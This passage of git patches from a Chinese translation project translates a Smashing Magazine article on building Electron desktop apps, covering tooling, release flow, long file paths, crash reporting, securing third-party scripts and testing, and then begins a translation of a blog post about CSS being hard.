 
 ![A screenshot of our example app without the title bar](https://www.smashingmagazine.com/wp-content/uploads/2017/01/hiddenTitleBar-preview-opt.png)
 
-See “[Frameless Window](http://electron.atom.io/docs/api/frameless-window)[57](#57)” from Electron’s documentation for more.
+详见 Electron 官方文档 “[Frameless Window](http://electron.atom.io/docs/api/frameless-window)[57](#57)” 
 
-#### Tooling
+#### 工具
 
-Well, you can pretty much use all of the tooling you’d use to create a web app. Your app is just HTML, CSS and JavaScript, right? Plenty of plugins and modules are out there specifically for desktop apps, too, such as Gulp plugins for signing your app, for example (if you didn’t want to use electron-builder). [Electron-connect](https://github.com/Quramy/electron-connect) watches your files for changes, and when they occur, it’ll inject those changes into your open window(s) or relaunch the app if it was your main script that was modified. It is Node.js, after all; you can pretty much do anything you’d like. You could run webpack inside your app if you wanted to — I’ve no idea why you would, but the options are endless. Make sure to check out [awesome-electron](https://github.com/sindresorhus/awesome-electron) for more resources.
+你可以尽情地使用在构建 web app 时候用到的工具。你的 app 其实就是 HTML，CSS 还有 JavaScript 不是吗？针对桌面 app 开源社区也有丰富的插件和模块供你使用，比如你可以用 Gulp 插件来为你的 app 签名（如果你不打算用 electron-builder）。[Electron-connect](https://github.com/Quramy/electron-connect) 可以用来监控文件改动，如果主要的脚本文件有改动，它会在打开的窗口中应用这些改动或者重启 app。毕竟这就是 Node.js，你可以做任何事情。你也可以在 app 中用到 webpack 如果你想的话，虽然我不知道为什么要这么做，但这也是一个选择嘛。详情见 [awesome-electron](https://github.com/sindresorhus/awesome-electron) 获取更多资源。
 
-#### Release Flow
+#### 版本发布流
 
-What’s it like to maintain and live with a desktop app? First of all, the release flow is completely different. A significant mindset adjustment is required. When you’re working on the web app and you deploy a change that breaks something, it’s not really a huge deal (of course, that depends on your app and the bug). You can just roll out a fix. Users who reload or change the page and new users who trickle in will get the latest code. Developers under pressure might rush out a feature for a deadline and fix bugs as they’re reported or noticed. You can’t do that with desktop apps. You can’t take back updates you push out there. It’s more like a mobile app flow. You build the app, put it out there, and you can’t take it back. Some users might not even update from a buggy version to the fixed version. This will make you worry about all of the bugs out there in old versions.
+维护和开发一个桌面应用是怎么样的体验？首先，发行版本流是完全不一样的。观念上就需要重新调整。在开发 web app 的时候，如果部署了之后然后遇到问题，这些都不是事。你直接修复 bug 就行了。新用户直接访问页面或者老用户重新加载页面就能得到最新的代码。开发者一旦有新任务，就直接去完成任务或者修复 bug 就好了。但是开发桌面 app 可不是这样。一旦冒失犯错，就无法撤回。这特别像开发移动 app 一样。你构建了 app，然后发布，就不可能撤回了。有些用户可能都不会从立即更新到最新的修复版本。这些存在于旧版本的 bug 可能会让你非常苦恼。
 
-#### Quantum Mechanics
+#### 量子力学
 
-Because a host of different versions of your app are in use, your code will exist in multiple forms and states. Multiple variants of your client (desktop app) could be hitting your API in 10 slightly different ways. So, you’ll need to strongly consider versioning your API, really locking down and testing it well. When an API change is to be introduced, you might not be sure if it’s a breaking change or not. A version released a month ago could implode because it has some slightly different code.
+考虑到要服务于不同版本的 app，你的代码会以不同的形式和窗台而存在。多个变种的客户端（桌面 app）会以多种方式访问你的 API。所以你得认真考虑 API 的版本控制问题，做好测试。当 API 有变化时，你无法获知此次变动会不会造成问题。一个月前发布的版本可能会因为一些代码的变动而发生崩溃。
 
-#### Fresh Problems to Solve
+#### 亟待解决的问题
 
-You might receive a few strange bug reports — ones that involve bizarre user account arrangements, specific antivirus software or worse. I had a case in which a user had installed something (or had done something themselves) that messed with their system’s environment variables. This broke our app because a dependency we used for something critical failed to execute a system command because the command could no longer be found. This is a good example because there will be occasions when you’ll have to draw a line. This was something critical to our app, so we couldn’t ignore the error, and we couldn’t fix their machine. For users like this, a lot of their desktop apps would be somewhat broken at best. In the end, we decided to show a tailored error screen to the user if this unlikely error were ever to pop up again. It links to a document explaining why it has occurred and has a step-by-step guide to fix it.
+你也许会遇到一些很奇怪的问题，一些涉及到奇怪的账户管理，反病毒软件或者更糟。我之前遇到过一个案例，用户自己安装某些文件导致系统环境变量被修改。这直接导致了我们的 app 当中某个重要的依赖安装失败，因为系统命令无法找到。这些案例提醒我们有些情况下必须划清界限，如果我们忽略报错，会导致无法修复。对于遇到这些问题的用户，最好让 app 避免正常启动。最后我们决定如果再次报错，用户会看到一条指向文本的的报错信息，这个文本文件用来解释错误为什么会发生，同时告诉用户如何一步步去修复错误。
 
-Sure, a few web-specific concerns are no longer applicable when you’re working on a desktop app, such as legacy browsers. You will have a few new ones to take into consideration, though. There’s a 256-character limit on file paths in Windows, for example.
+当然，一些基于 web 的顾虑将不再适配于桌面 app，比如一些历史遗留的浏览器问题。但一些其他问题需要被考虑，比如在 Windows 上文件路径有 256 字节大小的限制。
 
-Old versions of npm store dependencies in a recursive file structure. Your dependencies would each get stored in their own directory within a `node_modules` directory in your project (for example, `node_modules/a`). If any of your dependencies have dependencies of their own, those grandchild dependencies would be stored in a `node_modules` within that directory (for example, `node_modules/a/node_modules/b`). Because Node.js and npm encourage small single-purpose modules, you could easily end up with a really long path, like `path/to/your/project/node_modules/a/node_modules/b/node_modules/c/.../n/index.js`.
+旧版本的 npm 采用递归的文件结构存储依赖。你的所有依赖每一个都单独在当前目录下有`node_modules`。如果依赖模块自己本身也有依赖模块，这些子级的子级依赖会被存储在父级的`node_modules`中，比如`node_modules/a/node_modules/b`。因为 Node.js 和 npm 鼓励使用具有小型独立目的的模块TODO，你可能会很容易遇到长路径，比如`path/to/your/project/node_modules/a/node_modules/b/node_modules/c/.../n/index.js`。
 
-*Note*: Since version 3, npm flattens out the dependency tree as much as possible. However, there are other causes for long paths.
+*注意*：版本 3 之后 npm 尽可能得扁平化依赖树TODO。但是也存在一些其他原因导致长路径。
 
-We had a case in which our app wouldn’t launch at all (or would crash soon after launching) on certain versions of Windows due to an exceeding long path. This was a major headache. With Electron, you can put all of your app’s code into an [asar archive](http://electron.atom.io/docs/tutorial/application-packaging/), which protects against path length issues but has exceptions and can’t always be used.
+我们之前遇到一个问题，就是在特定版本的 Windows 上因为路径太长 app 无法正常启动或者启动之后就崩溃。配合 Electron，你可以把所有代码放在 [asar archive](http://electron.atom.io/docs/tutorial/application-packaging/) 当中。虽然使用这种方法也存在例外而不能保证永远都能正常使用。
 
-We created a little Gulp plugin named [gulp-path-length](https://github.com/Teamwork/gulp-path-length), which lets you know whether any dangerously long file paths are in your app. Where your app is stored on the end user’s machine will determine the true length of the path, though. In our case, our installer will install it to `C:\Users\<username>\AppData\Roaming`. So, when our app is built (locally by us or by a continuous integration service), gulp-path-length is instructed to audit our files as if they’re stored there (on the user’s machine with a long username, to be safe).
+我们做了一个小小的 Gulp 插件  [gulp-path-length](https://github.com/Teamwork/gulp-path-length) 用来告知开发者当前 app 当中是否存在任何危险的长文件路径。终端用户机器上的 app 来决定是否存在长文件路径。举个例子，假如安装包安装在 `C:\Users\<username>\AppData\Roaming`，当 app 构建完成（在本地通过持续集成服务完成），gulp-path-length 会用来监控是否当前目录下存在长文件路径（比如用户机器上的用户名过长而导致问题）。
 
-```
+```javascript
 var gulp = require('gulp');
 var pathLength = require('gulp-path-length');
 
@@ -363,31 +364,31 @@ gulp.task('default', function(){
 });
 ```
 
-#### Fatal Errors Can Be Really Fatal
+#### 关键性错误真的很致命
 
-Because all of the automatic updates handling is done within the app, you could have an uncaught exception that crashes the app before it even gets to check for an update. Let’s say you discover the bug and release a new version containing a fix. If the user launches the app, an update would start downloading, and then the app would die. If they were to relaunch app, the update would start downloading again and… crash. So, you’d have to reach out to all of your users and let them know they’ll need to reinstall the app. Trust me, I know. It’s horrible.
+因为所有的自动更新都发生在 app 本身，在每次检查更新前，未捕获的异常会导致 app 崩溃。假设你发现了一个 bug 然后发布了新版本进行修复。如果用户启动 app，自动更新开始下载，然后 app 崩溃。如果用户重新启动 app，自动更新再次下载，再次崩溃...所以，你必须想尽办法让用户知道他们需要重新安装 app。相信我，这确实很糟糕。
 
-#### Analytics and Bug Reports
+#### 分析和 bug 报告
 
-You’ll probably want to track usage of the app and any errors that occur. First of all, Google Analytics won’t work (out of the box, at least). You’ll have to find something that doesn’t mind an app that runs on `file://` URLs. If you’re using a tool to track errors, make sure to lock down errors by app version if the tool supports release-tracking. For example, if you’re using [Sentry](https://sentry.io/welcome/) to track errors, make sure to [set the `release` property when setting up your client](https://docs.sentry.io/clients/javascript/config/#optional-settings), so that errors will be split up by app version. Otherwise, if you receive a report about an error and roll out a fix, you’ll keep on receiving reports about the error, filling up your reports or logs with false positives. These errors will be coming from people using older versions.
+你获取想追踪 app 的使用情况和各种错误。首先 Google Analytics 不起作用。你得找到一个分析工具可以支持`file://` URLs。如果你正使用工具来追查错误，假如工具支持发布版本追踪，一定要确保错误和版本挂钩。例如，如果你使用 [Sentry](https://sentry.io/welcome/) 追踪错误，确保在设定客户端的时候设定了正确的[确保在设定客户端的时候设定了正确的 `release`属性 ](https://docs.sentry.io/clients/javascript/config/#optional-settings)，这样错误会按照版本分类。否则当你收到错误报告准备修复错误的时候，你会持续收到错误报告和日志，这当中会包含一些错误判断。而这些错误来自用户正在使用旧版本 app。
 
-Electron has a [`crashReporter`](http://electron.atom.io/docs/api/crash-reporter/) module, which will send you a report any time the app completely crashes (i.e. the entire app dies, not for any old error thrown). You can also listen for events indicating that your renderer process has become unresponsive.
+Electron 包含了 [`crashReporter`](http://electron.atom.io/docs/api/crash-reporter/) 模块，该模块在 app 完全崩溃后（例如整个 app 崩溃，而不是错误抛出）自动向开发者发送报告。你也可以监听一些事件用来指示 app 的 渲染进程无法响应。
 
-#### Security
+#### 安全
 
-Be extra-careful when accepting user input or even trusting third-party scripts, because a malicious individual could have a lot of fun with access to Node.js. Also, never accept user input and pass it to a native API or command without proper sanitation.
+当接收用户输入或者信任第三方脚本的时候需要额外注意，因为恶意攻击者会用各种意想不到的方式来使用 Node.js。而且记住永远不要在未经检查后直接接受用户输入并传值到原生 API 或者命令。
 
-Don’t trust code from vendors either. We had a problem recently with a third-party snippet we had included in our app for analytics, provided by company X. The team behind it rolled out an update with some dodgy code, thereby introducing a fatal error in our app. When a user launched our app, the snippet grabbed the newest JavaScript from their CDN and ran it. The error thrown prevented anything further from executing. Anyone with the app already running was unaffected, but if they were to quit it and launch it again, they’d have the problem, too. We contacted X’s support team and they promptly rolled out a fix. Our app was fine again once our users restarted it, but it was scary there for a while. We wouldn’t have been able to patch the problem ourselves without forcing affected users to manually download a new version of the app (with the snippet removed).
+也不要相信来自 vendors 的代码。我们最近遇到的问题来自公司 X 的用来分析的第三方代码片段。官方团队在发布的新版本当中包含了问题代码，导致了 app 致命错误。当用户启动 app 的时候，代码片段从 CDN 获取最新的 JavaScript 代码然后运行，随后抛出异常导致 app 无法继续运行。任何正在运行的 app 都不会受到影响，但是一旦重新打开 app 就会产生问题。我们联系公司 X 客服，随后他们发布了修复版本。如果再次重启 app 就会正常运行了，虽然已经解决了问题，但是回头想想还是很让人担心。如果我们不去强制受影响的用户手动下载修复版本的app，我们自己就很难直接解决问题。
 
-How can you mitigate this risk? You could try to catch errors, but you’ve no idea what they company X might do in its JavaScript, so you’re better off with something more solid. You could add a level of abstraction. Instead of pointing directly to X’s URL from your `<script>`, you could use [Google Tag Manager](https://www.google.ie/analytics/tag-manager/) or your own API to return either HTML containing the `<script>` tags or a single JavaScript file containing all of your third-party dependencies somehow. This would enable you to change which snippets get loaded (by tweaking Google Tag Manager or your API endpoint) without having to roll out a new update.
+该怎么样才能规避风险呢？也许你可以试着捕获报错，但是你完全不知道公司 X 在 JavaScript 里面究竟做了什么。你最好使用更可靠稳固的代码。你可以加入一层抽象，不直接在`<script>`指向公司 X 的URL而使用[Google Tag Manager](https://www.google.ie/analytics/tag-manager/) 或者你自己的 API 来返回包含有`<script>`标签的 HTML 文件或者包含所有第三方依赖的单独的 JavaScript 文件。这样在避免重新安装新版本的情况下，指定任意第三方代码片段被加载。
 
-However, if the API no longer returned the analytics snippet, the global variable created by the snippet would still be there in your code, trying to call undefined functions. So, we haven’t solved the problem entirely. Also, this API call would fail if a user launches the app without a connection. You don’t want to restrict your app when offline. Sure, you could use a cached result from the last time the request succeeded, but what if there was a bug in that version? You’re back to the same problem.
+但是，假如 API 不再返回用来分析的代码片段，之前被代码片段创建的全局变量依然会存在你的代码当中，这些全局变量会尝试调用未定义的函数。所以我们并没有完全解决问题。而且，如果用户没有联网就打开 app，API 调用会失败。你并不想让离线版本的 app 看起来和正常版本有太大区别。当然你可以用上次成功请求的缓存文件来用作离线版本的加载。但是如果当前版本出现问题怎么办，你又回到了之前提到的问题（如果不强制用户下载新版本，app 就会崩溃）。
 
-Another solution would be to create a hidden window and load a (local) HTML file there that contains all of your third-party snippets. So, any global variables that the snippets create would be scoped to that window. Any errors thrown would be thrown in that window and your main window(s) would be unaffected. If you needed to use those APIs or global variables in your main window(s), you’d do this via IPC now. You’d send an event over IPC to your main process, which would then send it onto the hidden window, and if it was still healthy, it would listen for the event and call the third-party function. That would work.
+另外一种解决方案是创建一个隐藏窗口加载包含了所有第三方代码片段的本地HTML 文件。这样，任何由全局变量导致的问题会在这个隐藏窗口里报错，而主要窗口不受影响。如果你需要在主要窗口当中调用 这些 API 或者 全局变量，你可以通过 IPC 的方式来实现。通过 IPC 向主进程发送一个事件，然后该事件会被发送到隐藏窗口当中。如果隐藏窗口没有任何问题，它会监听事件同时调用第三方函数。这样就可以解决之前提到的问题。
 
-This brings us back to security. What if someone malicious at company X were to include some dangerous Node.js code in their JavaScript? We’d be rightly screwed. Luckily, Electron has a nice option to disable Node.js for a given window, so it simply wouldn’t run:
+这会带来安全问题。万一来自公司 X 的恶意攻击者在他们的 JavaScript 中包含有危险的 Node.js 代码？我们肯定死惨了。幸运的是，Electron 里有一个很不错的设置用来禁止在给定窗口中执行 Node.js 代码，使恶意代码不会运行：
 
-```
+```javascript
 // main.js
 const {app, BrowserWindow} = require('electron');
 let thirdPartyWindow;
@@ -404,13 +405,13 @@ app.on('ready', () => {
 });
 ```
 
-#### Automated Testing
+#### 自动化测试
 
-NW.js doesn’t have any built-in support for testing. But, again, you have access to Node.js, so it’s technically possible. There is a way to test stuff such as button-clicking within the app using [Chrome Remote Interface](https://github.com/cyrus-and/chrome-remote-interface), but it’s tricky. Even then, you can’t trigger a click on a native window control and test what happens, for example.
+NW.js 本身不包含对测试的支持。但是由于你可以使用 Node.js，技术上使测试成为可能。 例如 [Chrome Remote Interface](https://github.com/cyrus-and/chrome-remote-interface) 可以用来测试 app 当中的按钮点击。但这个还是有点 tricky TODO，因为你无法触发原生窗口按钮的点击，也就无法测试。
 
-The Electron team has created [Spectron](http://electron.atom.io/spectron/) for automated testing, and it supports testing native controls, managing windows and simulating Electron events. It can even be run in continuous integration builds.
+Electron 官方团队开发了 [Spectron](http://electron.atom.io/spectron/) 用来自动测试。它支持测试原生控制按钮，管理窗口还有模拟 Electron 事件。它甚至在持续集成构建中运行。
 
-```
+```javascript
 var Application = require('spectron').Application
 var assert = require('assert')
 
@@ -438,31 +439,31 @@ describe('application launch', function () {
 })
 ```
 
-Because your app is HTML, you could easily use any tool to test web apps, just by pointing the tool at your static files. However, in this case, you’d need to make sure the app can run in a web browser without Node.js.
+考虑到你的 app 就是 HTML 文件，仅仅在静态文件中添加指向测试工具的脚本，你可以用任何工具来测试 web app。但是你得确保 app 可以在没有 Node.js 的情况下依然可以运行。
 
-### Desktop And Web
+### 桌面和 Web
 
-It’s not necessarily about desktop or web. As a web developer, you have all of the tools required to make an app for either environment. Why not both? It takes a bit more effort, but it’s worth it. I’ll mention a few related topics and tools, which are complicated in their own right, so I’ll keep just touch on them.
+这不仅仅是关乎桌面 app 或者 web app。作为一个 web 开发者，你可以用任何工具制作 app 确保在任何平台和环境中运行。但是为什么没有一劳永逸的办法呢？我们还需要努力，但这是值得的。接下来我会提到一些相关的话题和工具，考虑到它们太过复杂，我就点到为止。
 
-First of all, forget about “browser lock-in,” native WebSockets, etc. The same goes for ES6. You can either revert to writing plain old ES5 JavaScript or use something like [Babel](https://babeljs.io/) to transpile your ES6 into ES5, for web use.
+首先，忘记什么“浏览器限定”和原生 WebSockets 等等其他的事情。它们都提倡 ES6.你要么写纯粹的 ES5，要么用类似 [Babel](https://babeljs.io/) 的工具来把 ES6 代码编译成 ES5，供 web 使用。
 
-You also have `require`s throughout your code (for importing other scripts or modules), which a browser won’t understand. Use a module bundler that supports CommonJS (i.e. Node.js-style `require`s), such as [Rollup](http://rollupjs.org), [webpack](https://webpack.github.io) or [Browserify](http://browserify.org). When making a build for the web, a module bundler will run over your code, traverse all of the `require`s and bundle them up into one script for you.
+你的代码里也会写满了许多浏览器不会理解的`require`（用来引入其他脚本文件或者模块）。使用支持 CommonJS 的模块打包器，比如 [Rollup](http://rollupjs.org)，[webpack](https://webpack.github.io) 或者 [Browserify](http://browserify.org)。当构建 web app的时候，模块打包器会遍历代码，找到所有的`require`然后把他们放在一个脚本文件里。
 
-Any code using Node.js or Electron APIs (i.e. to write to disk or integrate with the desktop environment) should not be called when the app is running on the web. You can detect this by checking whether `process.version.nwjs` or `process.versions.electron` exists; if it does, then your app is currently running in the desktop environment.
+任何用到 Node.js 或者 Electron API（比如写盘操作或者整合桌面环境TODO）都不应该在 app 运行在 web 端的时候被调用。你可以通过检测`process.version.nwjs` 和 `process.versions.electron` 是否存在来侦测 API 的调用。如果存在，则表明 app 当前运行在桌面环境。
 
-Even then, you’ll be loading a lot of redundant code in the web app. Let’s say you have a `require` guarded behind a check like `if(app.isInDesktop)`, along with a big chunk of desktop-specific code. Instead of detecting the environment at runtime and setting `app.isInDesktop`, you could pass `true` or `false` into your app as a flag at buildtime (for example, using the [envify](https://github.com/hughsk/envify) transform for Browserify). This will aide your module bundler of choice when it’s doing its static analysis and tree-shaking (i.e. dead-code elimination). It will now know whether `app.isInDesktop` is `true`. So, if you’re running your web build, it won’t bother going inside that `if` statement or traversing the `require` in question.
+即便如此，你仍需要在 web app 上加载大量冗余代码。假设你的代码中`if(app.isInDesktop)` 后面紧接着和桌面环境有关的`require` 代码。并非在 app 运行的时候来检测当前运行环境，同时设置对应的 `app.isInDesktop`，你可以把 `true` 和 `false` 当做 flag 在构建的时候传值到 app。它会知道 `app.isInDesktop` 是否为 `true`。因此，当你运行 web app 的时候，它不会到代码里去找对应的 `if` 条件，或者找到相关的`require`。
 
-#### Continuous Delivery
+#### 持续交付
 
-There’s that release mindset again; it’s challenging. When you’re working on the web, you want to be able to roll out changes frequently. I believe in continually delivering small incremental changes that can be rolled back quickly. Ideally, with enough testing, an intern can push a little tweak to your master branch, resulting in your web app being automatically tested and deployed.
+我们对于版本发行的观念也需要换一换了，这非常有挑战性。当你在开发 web app 的时候，你希望能够频繁发布新的改动。我相信在持续交付中，小的增量改动可以快速回滚。理想情况是，经过足够的测试，一个实习生也可以把改动的代码 push 到 master 分支，然后让 web app 自动测试和部署。
 
-As we covered earlier, you can’t really do this with a desktop app. OK, I guess you technically could if you’re using Electron, because electron-builder can be automated and, so, can spectron tests. I don’t know anyone doing this, and I wouldn’t have enough faith to do it myself. Remember, broken code can’t be taken back, and you could break the update flow. Besides, you don’t want to deliver desktop updates too often anyway. Updates aren’t silent, like they are on the web, so it’s not very nice for the user. Plus, for users on macOS, delta updates aren’t supported, so users would be downloading a full new app for each release, no matter how small a tweak it has.
+我们之前谈到，你不能像 web app 那样在桌面 app 中实现同样的效果。没错，理论上如果你使用 Electron 的话，electron-builder 可以自动测试，而且 spectron 也可以测试。我不知道还有谁这么做，我自己不会有信心这么做。记住，错误的代码不可以撤销，你可能打破正常的更新流。而且，你也不想让桌面 app 更新太过频繁。更新不会悄无声息的发生，就如同 web app 一样，这对于用户来说其实很不友好。而且在 macOS 上，增量更新TODO 不被支持，用户必须针对每一个发行版本都要下载完整的新版本的 app，不管更新是多么的小。
 
-You’ll have to find a balance. A happy medium might be to release all fixes to the web as soon as possible and release a desktop app weekly or monthly — unless you’re releasing a feature, that is. You don’t want to punish a user because they chose to install your desktop app. Nothing’s worse than seeing a press release for a really cool feature in an app you use, only to realize that you’ll have to wait a while longer than everyone else. You could employ a feature-flags API to roll out features on both platforms at the same time, but that’s a whole separate topic. I first learned of feature flags from “[Continuous Delivery: The Dirty Details](https://www.youtube.com/watch?v=JR-ccCTmMKY),” a talk by Etsy’s VP of Engineering, Mike Brittain.
+你得找到一个平衡点。一个很均衡的做法是针对 web app 要尽可能快的更新和修复问题，对于桌面 app 每周或者每月更新一次就可以，除非你要发布新功能。你也不能指责用户选择安装桌面 app。没有什么比等待很久来发布新功能更糟糕的事情了。你可以采用 feature-flag TODO API 来在同一平台同一时间发布新功能，但这又是另外一个话题了。我第一次学习和了解到 feature flag 是来自 Etsy Engineering VP Mike Brittain 的讲话 “[Continuous Delivery: The Dirty Details](https://www.youtube.com/watch?v=JR-ccCTmMKY),”
 
-### Conclusion
+### 总结
 
-So, there you have it. With minimal effort, you can add “desktop app developer” to your resumé. We’ve looked at creating your first modern desktop app, packaging, distribution, after-sales service and a lot more. Hopefully, despite the pitfalls and horror stories I’ve shared, you’ll agree that it’s not as scary as it seems. You already have what it takes. All you need to do is look over some API documentation. Thanks to a few new powerful APIs at your disposal, you can get the most value from your skills as a web developer. I hope to see you around (in the NW.js or Electron community) soon.
+那么你已经掌握了。只要一点点努力，你就可以在简历中加上”桌面 app 开发者“的标签了。我们从创建第一个现代桌面 app，打包，分发，讲到售后服务还有更多。但愿我提到的一些陷阱和坑对你来说并没有那么可怕。你已经知道它们前因后果了。你需要做的就是看一遍 API 文档。感谢那些可供我们任意使用的强大的 API，你可以从 web 开发者的技能树上获取更多有价值的东西。我希望可以在 NW.js 和 Electron 社区中看到你的身影。
 
 ---
 

From 23915d3241269294b365687065147f26be53ab03 Mon Sep 17 00:00:00 2001
From: zhuzi <nmz89825@gmail.com>
Date: Tue, 4 Apr 2017 13:25:44 +0800
Subject: [PATCH 034/638] add translator

---
 TODO/beyond-browser-web-desktop-apps.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/beyond-browser-web-desktop-apps.md b/TODO/beyond-browser-web-desktop-apps.md
index 97dde4b218d..7b4f8ffcec8 100644
--- a/TODO/beyond-browser-web-desktop-apps.md
+++ b/TODO/beyond-browser-web-desktop-apps.md
@@ -1,7 +1,7 @@
 > * 原文地址：[Beyond The Browser: From Web Apps To Desktop Apps](https://www.smashingmagazine.com/2017/03/beyond-browser-web-desktop-apps/)
 > * 原文作者：本文已获原作者 [Adam Lynch](https://www.smashingmagazine.com/author/adamlynch/) 授权
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
-> * 译者： [bambooom](https://github.com/bambooom)
+> * 译者： [bambooom](https://github.com/bambooom)/[imink](https://github.com/imink)
 > * 校对者：
 
 ## 超越浏览器：从 web 应用到桌面应用

From 0aed444af338e5630266ebcb412331e2a9e736ca Mon Sep 17 00:00:00 2001
From: ZhangFe <zhangzhe0214@gmail.com>
Date: Tue, 4 Apr 2017 20:33:04 +0800
Subject: [PATCH 035/638] finish translate

---
 TODO/css-is-fine-its-just-really-hard.md | 74 +++++++++++++-----------
 1 file changed, 41 insertions(+), 33 deletions(-)

diff --git a/TODO/css-is-fine-its-just-really-hard.md b/TODO/css-is-fine-its-just-really-hard.md
index 4bad4dc74ce..b0859f28423 100644
--- a/TODO/css-is-fine-its-just-really-hard.md
+++ b/TODO/css-is-fine-its-just-really-hard.md
@@ -6,69 +6,73 @@
 
 ---
 
-# CSS is Fine, It’s Just Really Hard
+# CSS很棒，可是太难了
 
-Everyone’s upset about CSS again. Now’s the time where I would sit firmly on my high horse and [write some satire](https://medium.com/friendship-dot-js) to make myself feel better, but instead here are some hot takes.
+大家对CSS再次感到不安。现在是时候站在制高点 [写一些讽刺性的文章](https://medium.com/friendship-dot-js) 让自己感觉好一些了，不过今天说的是一些热门话题。
 
-CSS is fine. It’s just really hard, so I compile to it.
+CSS 很棒。它只是太难了，所以我对它进行了一些编译。
 
 —
 
-My name is Jordan and I write a lot of JavaScript and CSS. I’m really, *really* good at those two things. If CSS were an olympic event I’d easily qualify but probably wouldn’t get a medal. But I don’t need a medal, because I have a trophy with a computer on it.
+我叫 Jordan ，我写过很多的 JavaScript 和 CSS，而且我真的非常擅长这两件事。如果 CSS 是奥运会项目的话我很容易就能获得参赛资格，但是可能得不到奖牌。不过我并不需要一个奖牌，因为我有一个计算机相关的奖杯。
 
 ![](https://cdn-images-1.medium.com/max/1600/1*ioYNZ-FgsSpoos6b3iKblg.png)
 
-I’ve been drawing rectangles on computer and telephone screens for a long, long time. I’ve written lots of bad CSS, many thousands of lines of poor Less code, and megabytes of terrible Sass. It’s in my blood.
+我已经在电脑和手机屏幕上画了很久的矩形。我写了很多不好的 CSS，成千上万行较差的 Less 代码和大量可怕的 Sass。他们已经融入我的血液了。
 
-But I’ve also written lots of good CSS! I’ve made triangles with borders, bezier curves with CSS transforms, 60fps scrolling animations, and tooltips that would knock your socks off.
+但是我也写过很多很棒的 CSS！我使用 borders 画过三角形，使用 CSS transforms 绘制贝塞尔曲线，制作 60fps 的滚动动画，以及会让你大吃一惊的工具提示。
 
-It’s a great technology. Give me 30 seconds I can write some plain HTML and get some fancy Times New Roman text and hyperlinks with the worst shade of blue you’ve ever seen. Give me another 30 seconds and I’ll make that shade of blue a little nicer, and I’ll use a pretty font.
+CSS 是一项非常棒的技术。给我 30 秒我可以写一些纯 HTML 并且使用你从未见过的最差的蓝色和 Times New Roman 字体展示一些花哨的的文本和超链接。再给我 30 秒我又会使那个蓝色好看一些，并且我可以用一个漂亮的字体。
 
-It’s intuitive! If I want all my links to look the same, I can do that! Images with pretty borders and margins? No problem. That’s what this shit was *made for.*
+它非常直观。如果我想我所有的链接看起来一样，我随时可以办到。希望图片有漂亮的边框和外边距？没问题。这就是 CSS 被创造的原因。
 
-It’s performant! Many person-centuries have gone into making CSS fast, debuggable, and all-around pleasant to look at. CSS is here to stay, and it’s a wonderful thing that we’re able to use such sophisticated tooling for free. Not to mention the countless blog posts and cool demos we have access to with a quick Google search.
+长久以来，很多人都在为了让 CSS 更快速，可调试以及看起来更舒适做出努力。
+CSS 现在也是这么发展的，并且我们可以免费使用这些复杂的工具，这简直太棒了。更不用说无数的博客和超酷的示例，我们可以利用 Google 搜索快速检索到这些信息。
 
 —
 
-When I was younger, I realized that I wanted my borders and link text to be the same color — and changing it in two or three different places every time was super awful. Then I discovered Less. Now I could make a `@wonderfulBlue` and use it everywhere. *Well actually Jordan CSS has variables now…*
+当我年轻的时候，我意识到如果每当我想让边框和超链接文本是同一个颜色的时候都需要在两三个不同的地方去改变是非常可怕的。然后我发现了 LESS。现在我可以定义一个 `@wonderfulBlue` 并且在任何地方去使用它。*好吧，现在 Jordan 的 CSS 有变量了...*
 
-Then I started second-guessing all the long comments I left for why`#left-section` was exactly 546px wide. (250 * 2 + 23 * 2 duh). Then I started writing my math in Less: `2 * @sectionWidth + 2 * @sectionPadding`. *I guess you’re unfamiliar with calc(), Jordan, because that has phenomenal browser support…*
 
-Back when `border-radius` had to be polyfilled, I started including all the prefixes everywhere, then moved things over to a `border-radius()` mixin that I could just drop-in when I needed it. *Well if you had only used component clas —* Dude can you stop? Let me finish my article here. *Sorr —* It’s fine don’t worry about it, just hold on.
+然后我开始考虑为什么我留下的所有的长评论模块 `#left-section` 的宽度总是546px（250 * 2 + 23 * 2）？于是我开始使用 Less 写我的数学表达式：`2 * @sectionWidth + 2 * @sectionPadding`。*我猜测你不熟悉 calc()，因为它浏览器兼容性不好*
 
-I was writing Less when CSS wasn’t cutting it for me. CSS was still getting written, let me assure you, and it was working great on my users’ machines. I just wasn’t the one writing it — I was too busy 10x’ing.
+当年 `border-radius` 需要被 polyfill 时，我在所有使用到的地方添加前缀。后来我使用了 `border-radius()` mixin，这样只要在我需要使用的时候把代码添加上就可以了。*好吧如果你只用到了组件分类呢 —*。伙计你能停一停么？让我完成我的文章先。*我错了—*。没事，别担心，继续听下去。
+
+当我需要分割 CSS 代码时，我开始写 Less。我向你保证我依然在写 CSS，并且它在我的用户的设备上工作的非常棒。只是我比原来忙了 10 倍，我无法单独去编写它了。
 
 —
 
-I started [working on teams](https://www.khanacademy.org/), on these big pages with lots of classes and variables. My work then involved navigating the existing markup, reusing variables, refactoring out common patterns into their own utility classes and mixins, and all the other things that developers get paid to do.
+我开始[团队作战](https://www.khanacademy.org/)，在这些大型页面上有很多类和变量。我的工作就是对现有的标记做导航，复用变量，将常见的模式重构为自己的实用类和方法，以及其他所有开发者应该做的事。
 
-Some of those pages got really big, so often times we would split up our CSS (well, Less) and JavaScript into individual files so the users didn’t have to download code for the exercise page to watch a video.
+他们中的某些页面已经很庞大了，因此通常我们会将我们的 CSS （好吧，Less）和 JavaScript 分割成独立的文件，这样用户就不必下载练习页面的代码来观看视频。
 
-Sometimes, we’d remove too much code, and things wouldn’t look right. Because the homepage menu would expect `.left-arrow` to be around, but now the styles for that class were in `exercise.css`. Sometimes we wouldn’t notice because that `.left-arrow` would be neatly tucked away behind a couple mouse clicks in a nav bar. *Well you should have had screenshot testing or a stricter QA proce —* What did I **just** say?
+有些时候，我们移除了很多代码后样式看起来就不对了。因为我们的主页菜单可能希望有一个 `.left-arrow` 类，但是现在这个 class 的样式在 `exercise.css` 文件里。通常我们注意不到这点，因为导航条被鼠标点击几次后 `.left-arrow` 会被整齐地卷起来。*这么看来你应该有截图测试或更严格的 QA 过程*，我刚才说了什么来着？
 
-Phew, this was hard work! But hey code has bugs in it sometimes, it’s cool. Fix ’em and move on.
+唉，这是很辛苦的工作！但是代码就是偶尔会出 bug，修复它们并且继续前进，这是件很酷的事。
 
